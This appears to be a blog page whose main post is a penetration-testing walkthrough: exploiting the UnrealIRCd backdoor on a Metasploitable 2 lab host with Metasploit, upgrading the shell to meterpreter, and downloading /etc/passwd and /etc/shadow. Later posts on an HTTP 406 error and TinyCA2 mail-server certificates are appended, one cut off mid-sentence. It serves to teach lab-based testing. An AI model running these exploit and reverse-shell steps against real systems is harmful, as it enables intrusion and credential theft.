Penetration testing: Kali, Metasploit, upgrade of a session to meterpreter

Recently, I started reading in the German book of E. Amberg and D. Schmid on “Hacking” (see the full reference at this post’s end). This is a book with over 1000 pages and it documents the effort of the authors to give a full overview over the wide spectrum of terms used in pen-test and hacking environments, steps of penetration testing, attack variants, tools, defense options, and, and …. . Well, it provides a really broad overview, but in contrast to some other more focused books it is not a real teaching book on penetration testing – in my opinion.

However, at some points the authors describe introductory examples, also simple exploits which can be tested e.g. on targets like Metasploitable 2 or 3 or on prepared Windows systems. This post was inspired by a chapter of the authors about “meterpreter” which they introduced after an exploitation example, i.e. in a post exploitation phase. The chapter deserves some additional hints, small, but hopefully useful for beginners.

Disclaimer:
All the information given in this post is for educational purposes and addresses people interested in and starting with penetration testing. It partially refers to information on the Metasploit Framework [MSF] and Metasploitable targets published in different form elsewhere. Book references are given at the end of this post. If you test out the examples given below, only do this in environments for which the owners and the administrators of the affected networks and systems have given you explicit written consent to install, isolate and use systems with MSF and a Metasploitable target system. Cooperate with the administrators to configure respective network segments and firewalls. Never expose a Metasploitable system to the Internet.

Exploits and shells

During pen-testing (always with the consent of your customer and system administrator) you may not only be requested to find vulnerabilities, but also to verify that an attacker really could exploit them. So – again with the explicit consent of your customer and after a solid risk estimation for the systems and networks under investigation – you may start exploits, e.g with the help of the Metasploit framework [MSF]. Your first objective then – for convenience reasons, but also for obfuscation reasons – is probably to work with a meterpreter shell, which indeed offers a variety of very convenient commands for a post exploitation phase. Often exploits offered by the MSF will not give you a chance to transfer meterpreter as a payload, but only simple interaction shells.

To replace a basic command shell of an achieved session on an attacked target with meterpreter actually is a basic move within MSF, but you may have to take care of some steps ahead. In the named book the authors mention a specific method, namely to upgrade an existing “session” to a meterpreter session.

Upgrade of a plaintext command shell with “sessions -u

The named authors perform the following attack steps to get a session on a Metasploitable target:

  1. They use the exploit DistCC from a Kali host and get a command shell.
  2. They use an additional exploit for a privilege escalation to get root rights and to open a reverse shell to the attacking host; they provide the IP address of the Kali host and a listener port there as parameters of the exploit. They then prepare a suitable executable of the exploit and install it on the attack’s target host (i.e. the Metasploitable system).
  3. They start a listener (with “exploit/multi/handler”) on the Kali host. During this step they set the IP-address of the Kali host and the port there to be addressed by the reverse connection later on.
  4. They start the deployed
    secondary exploit on the attack target. Immediately afterward they get a session with a basic shell with MSF on the attacking Kali system.
  5. They list up the open sessions by “sessions -l” and get the session’s ID – e.g. 2.
  6. They upgrade the session to a meterpreter session with “sessions -u SESSION_ID“. SESSION_ID has to be replaced by the session ID. In the example: “sessions -u 2”.

So far, so good. Works perfectly – at least after this specific succession of steps.

Interestingly enough Rapid7 in its documentation on the (expensive) Metasploit Pro does not discuss the command line option “sessions -u” to upgrade a sessoin – Rapid 7 only presents the option to start a meterpreter shell via the “available actions” on the graphical interface of MSF Pro. Probably the interface does nothing else than our CLI command ….

https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions

Note that Sparc Flow in his book “Hack like a Pornstar” uses a different way in his example of attacking a Linux server. He manually prepares a meterpreter executable (with the help of “veil”) and places it on the attacked host and starts it there. Maybe more realistic. MSF in the above example transfers meterpreter components to the attacked host as a part of the last step.

Now, a beginner to metasploit may try to repeat something similar with a different basic exploit and may fail with the session upgrade. Why?

Think about firewalls – both remote and local

A trivial point might be a firewall- somewhere …
As a pen-tester you probably want to protect your own systems during tests – also when you are at a customer’s site. (You may find some guys there who try to fiddle with you during your tests.) Your Kali will run on an isolated virtual machine or special live system on some laptop. You may have some routing and a local firewall in place on your Linux host system which controls the communication to your Kali (guest) system. But also the attacked host may reside behind a firewall (e.g. of a network segment). So, you have to carefully think about which ports to use for reverse shells. This is a basic first point where real examples may differ from the idealized world in books. I recommend to train quick reconfigurations of your own firewalls – and watch their actions via “tail” during pen-tests.
Actually, if did not have to think about firewalls and the example given by the named authors worked as described without problems this is the first indication that the network and systems on it are not well managed or that you yourself are not well prepared.

Is meterpreter an optional payload of all exploits available in MSF?

Some other textbooks introduce meterpreter as a direct payload of an exploit used within MSF. One example is M. Messner’s book on Metasploit. However, many exploits available in MSF do not give you this chance. Book examples typically do and can not cover all situations. So, one should be familiar with some way of upgrading a session … Let us look at an example with “Metasploitable 2” as a target system.

Example – IRC exploit on Metasploitable 2

Lets try a specific attack from a Kali system against a Metasploitable 2 target. Each host resides in an (isolated) LAN segment.
As I have performed this attack before I already have a respective vulnerability entry in the database tables of my MSF workspace:

msf6 > vulns

Vulnerabilities
===============

Timestamp                Host           Name                                           References
---------                ----           ----                                           ----------
...
...
2020-11-26 17:15:14 
UTC  172.16.40.121  UnrealIRCD 3.2.8.1 Backdoor Command Execution  CVE-2010-2075,OSVDB-65445,URL-http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
2020-11-26 17:34:31 UTC  172.16.40.121  VSFTPD v2.3.4 Backdoor Command Execution       OSVDB-73573,URL-http://pastebin.com/AetT9sS5,URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
2020-11-26 17:44:45 UTC  172.16.40.121  Generic Payload Handler    
...

Ok, let MSF do its work:

Infos about the exploit:

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor 
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > info

       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <x@hdm.io>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   6667             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the 
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in 
  the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 
  2010.

References:
  https://cvedetails.com/cve/CVE-2010-2075/
  OSVDB (65445)
  http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

Here we see already that this exploit does not provide much space for action on the target system. There are not many option either:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

OK, does it have a “check” option?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 172.16.40.121
RHOST => 172.16.40.121
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > check
[-] Check failed: NoMethodError This module does not support check.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

What payloads are available?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   0   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   cmd/
unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

No meterpreter there. OK, a normal shell then …

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_perl
payload => cmd/unix/bind_perl

Further options?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.40.121    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Payload options (cmd/unix/bind_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  172.16.40.121    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Do not getconfused by the LPORT setting. In this case it means the listening port at the attacked site – not on our local Kali host. Do our firewalls allow for packets to port 4444 on the target? Yes, OK, then we run the exploit:

Using the exploit:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] 172.16.30.129:6667 - Connected to 172.16.40.121:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 172.16.30.129:6667 - Sending backdoor command...
[*] Started bind TCP handler against 172.16.40.121:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 172.16.40.121:4444) at 2020-11-28 14:04:02 +0100

The interesting line is the last one, no IP address of our own attacking host appears. However, netstat on the Kali host reveals:

netstat -an | grep 4444
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN  

Our exploit setup a TCP listener on port 4444 on the target and we connected with a command shell. We should be able to see this from our shell; we just type at the blinking cursor in Metasploit:

    

whoami
root
netstat -an | grep 4444
tcp        0      0 172.16.40.121:4444      192.168.77.22:46705     ESTABLISHED

Well, we became root even with this backdoor exploit. But this is only a side remark.

Now, let us use the recipe from the “Hacking”-book authors:
We press the “CTRL-Z” key combination to put our session to the background and get an option to issue further commands at the metasploit prompt:

Background session 1? [y/N]  y
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.40.121:4444 (172.16.40.121)
  

The command “sessions” revealed a session ID to us. Now, we use the exploit shell_to_meterpreter.

Apply “shell_to_meterpreter” and “multi/handler” indirectly via ”
sessions -u”

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 0.0.0.0:4433 
[*] Command stager progress: 100.00% (769/769 bytes)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.30.129:4444 (172.16.30.129)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

We had expected a new meterpreter session. But nothing happens. After some time we even get a message that the started handler was stopped:

[*] Stopping exploit/multi/handler

So, what is wrong?

The manual way to upgrade to meterpreter …

When we compare our exploit to the one discussed by the authors of the “Hacking”-book we see some differences:

The authors used a reverse shell payload. At some point they specified the IP address of the attacking host, i.e. of our Kali system. In their case the “sessions” command displayed a session which explicitly contained the IP-address of the local attacker host, i.e. of the Kali system.

Hmm. We doubt that meterpreter needs an already existing reverse shell established. Reading a bit we understand that meterpreter works as staged program. Things get uploaded in pieces via an established shell to the target’s TCP handler and from there into the target’s RAM.

But what if the meterpreter piece on the target requires the IP of the host because it wants to connect to the host, i.e. built its own reverse connection from the point of the view of the attacker? And what if this is taken wrongly from the running session? Or what if a local listener on the attacking Kali host is established with a wrong IP address? Then we expect problems!

Even if we later on establish a session from the Kali host to the target the uploaded and RAM-established meterpreter part on the target needs to tell the attacking host which port it will use on the target! Thus, the communication setup on both hosts must work correctly!

Let us see. There is a manual “exploit” module and command to establish meterpreter. It is even mentioned by the authors of the “Hacking”-book, but they do not elaborate on it: “/post/multi/manage/shell_to_meterpreter“.
We saw a line about it in the output of “sessions -u”, too. Ok, let us use it:

Direct use of shell to meterpreter

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > info

       Name: Shell to Meterpreter Upgrade
     Module: post/multi/manage/shell_to_meterpreter
   Platform: Linux, OSX, Unix, Solaris, BSD, Windows
       Arch: 
       Rank: Normal

Provided by:
  Tom Sellers <tom@fadedcode.net>

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
  LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT    4433             yes       Port for payload to connect to.
  SESSION                   yes       The session to run this module on.

Description:
  This module attempts to upgrade a command shell to meterpreter. The 
  shell platform is automatically detected and the best version of 
  meterpreter for the target is selected. Currently 
  
meterpreter/reverse_tcp is used on Windows and Linux, with 
  'python/meterpreter/reverse_tcp' used on all others.

We see that indeed reverse TCP handlers are established – meterpreter on the target will want to connect back to us. It starts a handler for it. And we have to provide suitable options:

msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

Ok, we decide for a local port 8090 – and open it on firewalls. We set the relevant options:

post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.77.22
LHOST => 192.168.77.22
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 8090
LPORT => 8090
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1

Successful session upgrade

msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.77.22:8090 
[*] Sending stage (976712 bytes) to 172.16.40.121
[*] Meterpreter session 2 opened (192.168.77.22:8090 -> 172.16.40.121:53847) at 2020-11-28 15:55:06 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         shell cmd/unix                                                                                           0.0.0.0:0 -> 172 .16.40.121:4444 (172.16.40.121)
  2         meterpreter x86/linux  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.77.22:8090 -> 172.16.40.121:53847 (172.16.40.121)

Success! On our Kali host netstat reveals:

Aktive Internetverbindungen (Server und stehende Verbindungen)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
...
tcp        0      0 192.168.77.22:8090      172.16.40.121:53847     VERBUNDEN  
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN  
...

Let us use session 1 first:

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 1
[*] Starting interaction with 1...

netstat -an | grep 4444 
tcp        0      0 172.16.30.129:4444      192.168.10.12:46705     ESTABLISHED
netstat -an | grep 8090
tcp        0      0 172.16.30.129:53847     192.168.10.12:8090      ESTABLISHED

Now we press the key combination “Ctrl-Z“, again, and switch to session 2 by using “sessions -i” (the “i” stands for “interaction”):

Background session 1? [y/N]  y
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > pwd
/etc/unreal
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > lcd /root
meterpreter > lpwd
/root
meterpreter > 
getlwd
/root
meterpreter > download /etc/passwd ./metasploitable2
[*] Downloading: /etc/passwd -> ./metasploitable2/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> ./metasploitable2/passwd
[*] download   : /etc/passwd -> ./metasploitable2/passwd
meterpreter > download /etc/shadow ./metasploitable2
[*] Downloading: /etc/shadow -> ./metasploitable2/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow -> ./metasploitable2/shadow
[*] download   : /etc/shadow -> ./metasploitable2/shadow
meterpreter > route

IPv4 network routes
===================

    Subnet       Netmask        Gateway      Metric  Interface
    ------       -------        -------      ------  ---------
    0.0.0.0      0.0.0.0        172.16.40.1  100     eth0
    172.16.40.0  255.255.255.0  0.0.0.0      0       eth0

No IPv6 routes were found.

The system is yours, now. As an example, we have downloaded the password files from the Metasploitable system to a prepared local directory for later analysis.

Enough for today. Let us kill all sessions after a “Ctrl-Z”:

Background session 2? [y/N]  
msf6 post(multi/manage/shell_to_meterpreter) > sessions -K
[*] Killing all sessions...
[*] 172.16.30.129 - Command shell session 1 closed.
[*] 172.16.30.129 - Meterpreter session 2 closed.

What was the reason for the failure in the first trial with “sessions -u”?

You can repeat out first attack and start “sessions -u”. You have some time until the multi-handler gets stopped again. During this time you can check communication packets with wireshark at network interfaces of the hosts. And you can have a look with netstat at listeners and ports on the hosts. You will find that packets from the targetto the Kali host are addressed correctly. But a look with netstat on the Kali host reveals:

...
tcp        0      0 0.0.0.0:4433            0.0.0.0:*              LISTEN    
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
...

In case of the working solution we find in contrast:

....
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     LISTEN   
...

and then

tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     VERBUNDEN 

So, the handler for the reverse connection on the Kali host caused the problem: It took the default IP 0.0.0.0 from the original session which only had to establish a forward direction.

Conclusion

During our experiments we saw that some simple text book examples do not always work. It depends on the exploits, the handlers, the required parameters for communication settings, …. Upgrading an existing basic shell session (connected to a compromised target host) to a meterpreter session will not always work with “sessions -u”.

The success of “sessions -u” depends on the original exploit options and their payloads. Some exploit/payload combinations do not require a LHOST IP address. They do not set up a reverse connection. Instead 0.0.0.0:0 may appear after the exploit in the local MSF session overview. Then “sessions -u” will fail. Metasploit is not perfect ….

In such cases it is good to know that you can use and configure “post/multi/manage/shell_to_meterpreter” manually. In most cases this lead to a successful upgrade of an existing session to meterpreter where “sessions -u” failed.

Book references

“Hacking – Der umfassende Praxis-Guide”, Fritz Amberg, Daniel Schmidt, 2020, mitp Verlags GmbH & Co KG, Frechen

“How to … Hack like a Pornstar”, Sparc Flow, 2017, ISBN 978-1-5204-7851-7

“Metasploit- Das Handbuch zum Penetration-Testing-Framework”, M. Messner, 2012, dpunkt.
verlag GmbH, Heidelberg

 

A remarkable experience with a HTTP Error 406 and some security measures of a web-hosting-provider

It is very seldom that you are confronted with a HTTP status message of type 406 “Not acceptable”. However, this happened yesterday to a customer who uses a renowned hosting provider (in Norway) to publish his web-sites. The customer uses his own WordPress installation on hosted web-servers. His favorite browser is Firefox on a Win 10 desktop system. A week ago he could work without any restrictions. Then suddenly everything changed.

Access to website and WP admin interface broken due to security measures of the provider

At some point in time during last week the hosting-provider changed his security policies on his (Norwegian) Apache servers. The provider seems to have at least changed settings of the “mod_security” module – and thereby started to eliminate old browsers by some rules. (Maybe they even introduced the use of the mod_security module for the first time ?). To implement mod-security with a reasonable set of rules basically is a good measure.

However, the effect was that our customer got a 406 error whenever he tried to access his web-site with his Firefox browser. The “406 Not Acceptable” message indicates that a web server cannot or will not (due to some rules) satisfy some conditions in the HTTP GET- or POST-request. Our customer uses the latest version of Firefox. He tested whether he got something similar on a test installation of one of our hosted servers in Germany. Of course not.

A subsequent complaint of our customer was answered by his provider; the answer in a direct translation says:

Contact the Firefox technicians or use Chrome!

Very funny! Our customer asked us for help. We tested the web-servers response with multiple browsers from Linux and Windows desktops. The problem seemed to exist only for Firefox and only on desktop systems. This already indicated a strange server reaction to the HTTP “User-Agent” string.

But this was only part of the strange experience our customer got due to new security measures. In addition his provider enforced the usage of an Apache htaccess password (Basic HTTP user authentication) for all users who maintained their own WordPress installation on the hoster’s web-servers. Our customer suddenly needed to provide a UserId and a password to get access to his WordPress installation’s “wp-admin”-directory. We found out about this intentionally imposed restriction by having a look at the public web site of the provider. There, in a side column, we found a message regarding the new restriction. Customers were asked there to contact the hoster’s specialists for required credentials. Our customer had not been directly informed by the provider about this new policy. So, we just sent the provider a mail and asked him to give us the authentication data to the admin folder of our customer’s WP-installation. We got it one day later via email.

In my opinion these procedures indicate some mess we are facing with improperly handled IT-security activities these days.

Some comments regarding enforced HTTP Basic Authentication for WP’s admin directory

Comment 1: It is, of course, OK to enforce a HTTP password access to directories of a web server. But this is only an effective protection measure if the provider at the same time enforces general TLS/SSL encryption for the access to the hosted web-sites. Otherwise the password would be sent in clear text over the Internet. However, you can still work with a WordPress installation or other CMS-installations on the provider’s web-servers without any SSL certificate. Our customer has a SSL-certificate – but he had to pay for it. Here business interests of the provider obviously collide with real security procedures.

Comment 2: Personally, I regard it as a major mistake to set a common UserID and a fixed permanent password for customers and send
these credentials to a web-admin via an unencrypted email. Ironically enough the provider asked the receiver in the mail to take note of the password and then to destroy the mail. So, mails on the customers mail system are dangerous, but the transfer of an unencrypted mail over at least partially unencrypted Internet lines is not?

Hey, we are not talking about a one time password here – but permanent credentials set and enforced by the provider. The CPanel admin tool offered by the hosting provider does NOT allow for the change of the fixed htaccess password set by the provider’s admins.

Furthermore, why announce this policy on a public website and not inform the customers via a secure channel? Next question: How did they know that we were authorized to request the access data without contacting our customer first ???

The mess with the User-Agent string

Also interesting was the analysis of the Firefox problem. We can demonstrate the effect on the provider’s own website. Here is what you presently (18.10.2019) get when opening the homepage of the provider with Firefox from a Linux desktop:

And here is what you get when you manipulate the User-Agent string a bit:

The blue rectangles have been added not to directly show the provider’s name. Note the 406 error message in the FF developer tool at the bottom!

Well, well … Our customer got the following when opening his own web-page:

Some analysis showed that we get a correct display of the web-site on the same browser if we manipulated the HTTP User-Agent-string for Firefox a bit. One way to do this is offered by the web developer tools of Firefox. However, there are also good plugins to fake the User-Agent string.

The next question was: What part in the User-Agent-string reacted the provider’s Apache servers allergic to?

The standard User-Agent-string of Firefox in a HTTP-GET- or POST-request is defined to have the following structure:

Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion

This can be learned from related explanations of mozilla.org:
Firefox User Agent string

“geckotrail” can be an indication of a version or a date. However – quotation:

On Desktop, geckotrail is the fixed string “20100101”

And when we check the User-Agent-string for Firefox on e.g. a Linux desktop we indeed get:

Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko Firefox/68.0

and

Posted in Security und Security-Tools, Web - Browser, HTTP, HTML, CSS | Tagged , , , , ,

TinyCA2 as a replacement for YaST’s CA-tools on Opensuse Leap servers with TLS/SSL – III

I proceed with my article series on using TinyCA2 instead of YaST’s CA-admin tools, whic are simply missing since Opensuse Leap 15.0. Which I regard as a shame by the way …

In the first article

TinyCA2 as a replacement for YaST’s CA-tools on Opensuse Leap servers with TLS/SSL – I

I briefly introduced the user interface of TinyCA2. We used it to create a new CA and a server certificate.

In the second article

TinyCA2 as a replacement for YaST’s CA-tools on Opensuse Leap servers with TLS/SSL – II

we found out where to place the new CA’s root certificate on an Opensuse Leap system to make it available system wide and permanently. We also used the newly created server certificate for the server “myserv.anraconc.de” for all services on this server – and placed the necessary files into “/etc/ssl/servercerts”.

We then discussed the reconfiguration of an Apache2-, an OpenLDAP- and the SSSD-service as examples of how to adapt to the CA and certificate changes. All the required operations on “myserv” were local copy and file editing operations – as “myserv” was the server for administering our new CA, too.

In this third article we, however, look at a second independent server “mymail.anraconc.de” for IMAP/SMTP-services. This server needs its own TLS/SSL-server-certificate. In lack of other tools we shall use scp to deploy the necessary files. I shall further discuss how to reconfigure “cyrus” and “postfix”. Note that these services do not only offer their own TLS/SSL connections to their clients; at the same time they themselves will work as LDAP-clients, i.e. as clients for the OpenLDAP service on server “myserv”. Therefore we must adapt the SSSD-service on “mymail”, too.

Placing a TinyCA2 server certificate on a mail server with cyrus, saslautd and postfix

Our first step is to use TinyCA2 on our server “myserv” to create a second server certificate for the server “mymail” with the common name “mymail.anraconc.de”. This is done exactly as described in my first article for server “myserv”. We export the related certificate and the key files to “/etc/certs” on “myserv” and limit access to the private key file. We export the key file with its password – and strip it off afterwards:

myserv:/etc/certs # openssl rsa -in /etc/certs/mymail-anraconc-key.pem -out /etc/certs/mymail-anraconc-key_new.pem
Enter pass phrase for /etc/certs/mymail-anraconc-key.pem:
writing RSA key
myserv:/etc/certs # cp /etc/certs/mymail-anraconc-key_new.pem /etc/certs/mymail-anraconc-key.pem

Now, we look for some export/import mechanism for deploying “server certificates” from our sytem with the CA administration tool TinyCA2 to other systems. Unfortunately, TinyCA2 does not offer such a client/server feature for certificate deployment within a network. We are forced to transfer our certificates manually 🙁 .

I assume that we have a ssh-connection form our sever “myserv” to our mail-server “mymail”.

myserv:/etc # scp /etc/certs/mymail-anraconc-cert.pem root@mymail:/etc/certs
Password: 
mymail-anraconc-cert.pem                   100% 2147     1.5MB/s   00:00    
myserv:/etc # scp /etc/certs/mymail-anraconc-key.pem root@mymail:/etc/certs
Password: 
mymail-anraconc-key.pem                    100% 1679     1.4MB/s   00:00    
myserv:/etc # scp /etc/certs/anraconc-CA.pem root@mymail:/etc/certs
Password: 
anraconc-CA.pem                           100% 2504     1.7MB/s   00:00    
myserv:/etc # 

Note that I transferred the CA certificate, too.

On “mymail”:

mymail:~ # cp /etc/certs/anraconc-CA.pem /etc/pki/trust/anchors/
mymail:~ # cp -r /etc/ssl/servercerts/ /etc/ssl/servercerts.orig
mymail:~ # cp /etc/certs/mymail-anraconc-cert.pem /etc/ssl/servercerts/servercert.pem
mymail:~ # cp /etc/certs/mymail-anraconc-key.pem /etc/ssl/servercerts/serverkey.pem
mymail:~ # chmod 600 /etc/ssl/servercerts/serverkey.pem 
mymail:~ # 

If you read my second article of this series these steps need no further explanation.

Reconfiguring sssd, cyrus and postfix for the new SSL/TLS certificates

First, the sssd-service configuration in the file “/etc/sssd/sssd.conf” has to be updated on mymail:

.....
[pam]
[domain/default]
ldap_uri = ldap://myserv.anraconc.de
ldap_search_base = dc=anraconc,dc=de
ldap_schema = rfc2307bis
id_provider = ldap
ldap_user_uuid = entryuuid
ldap_group_uuid = entryuuid
ldap_id_use_start_tls = False
enumerate = True
cache_credentials = False
ldap_tls_cacertdir = /etc/ssl/certs
ldap_tls_cacert = /etc/ssl/certs/anraconc-CA.pem
chpass_provider = ldap
auth_provider = ldap
...
....

Note that the ldap_uri is the same (!) as on “myserv”! See the last article!

We then change “/etc/ldap.conf” – this enables any clients :

uri     ldap://myserv.anraconc.de
base    dc=anraconc,dc=de
nss_map_attribute       uniqueMember member
ssl     start_tls
tls_cacertdir   /etc/ssl/certs
tls_cacertfile  /etc/ssl/certs/anraconc-CA.pem              
pam_password    exop
pam_filter      objectClass=posixAccount
...

Afterwards we change the file “/etc/imapd.conf” – which is a central piece for a working cyrus-based IMAP-server:

....
# LMTP
# ****
lmtp_overquota_perm_failure: no
lmtp_downcase_rcpt: yes

# SASL
# ****
allowplaintext: yes
sasl_pwcheck_method: saslauthd
sasl_mech_list: PLAIN LOGIN

# TLS
# ****
tls_key_file: /etc/ssl/servercerts/serverkey.pem
tls_cert_file: /etc/ssl/servercerts/servercert.pem
tls_ca_file: /etc/ssl/certs/anraconc-CA.pem
...
...

You see that we saslauthd as an intermediate link of imap to authenticate (cyrus) users via LDAP (on another server).

Important Note:
The system users “mail” and “cyrus” must get read access to “/etc/ssl/servercerts/serverkey.pem” in case we use exactly one server-wide server certificate/key for all services. Otherwise TLS connections (starttls) cannot be provided for the imap/cyrus-service.

One solution for this problem is to use ACL-settings analogously to what we have done above for user “ldap” on the server “myserv”. See my last article …

For SMTP we also need to change “/etc/postfix/main.cf“:

...
....
 Client for the local SMTP-Server
#---------------------------------

# Changed by admin according to local sasl politics
#----------------------------------------------------
smtpd_sasl_auth_enable = yes
smtpd_sasl_security_options = noanonymous
smtpd_sasl_type = cyrus
# Postfix > 2.3
smtpd_sasl_path = smtpd
broken_sasl_auth_clients = yes


# Local SMTP server as a client for Relay servers 
#------------------------------------------------
# Inserted by admin - 06.01.2017
#-----------------------------------

smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_sasl_security_options = noanonymous
...
....
############################################################
# TLS stuff
############################################################
relay_clientcerts =
#tls_random_source = dev:/dev/urandom

smtp_use_tls = yes
#smtp_tls_loglevel = 0
#smtp_enforce_tls = no
smtp_tls_policy_maps = hash:/etc/postfix/tls_policy
smtp_tls_CApath = /etc/ssl/certs/
smtp_tls_
CAfile = /etc/ssl/certs/anraconc-CA.pem

smtp_tls_session_cache_database =

smtpd_use_tls = yes
smtpd_tls_auth_only = yes
smtpd_tls_loglevel = 2
smtpd_tls_CAfile = /etc/ssl/certs/anraconc-CA.pem
smtpd_tls_cert_file = /etc/ssl/servercerts/servercert.pem
smtpd_tls_key_file = /etc/ssl/servercerts/serverkey.pem
smtpd_tls_ask_ccert = no
smtpd_tls_received_header = yes

...
...

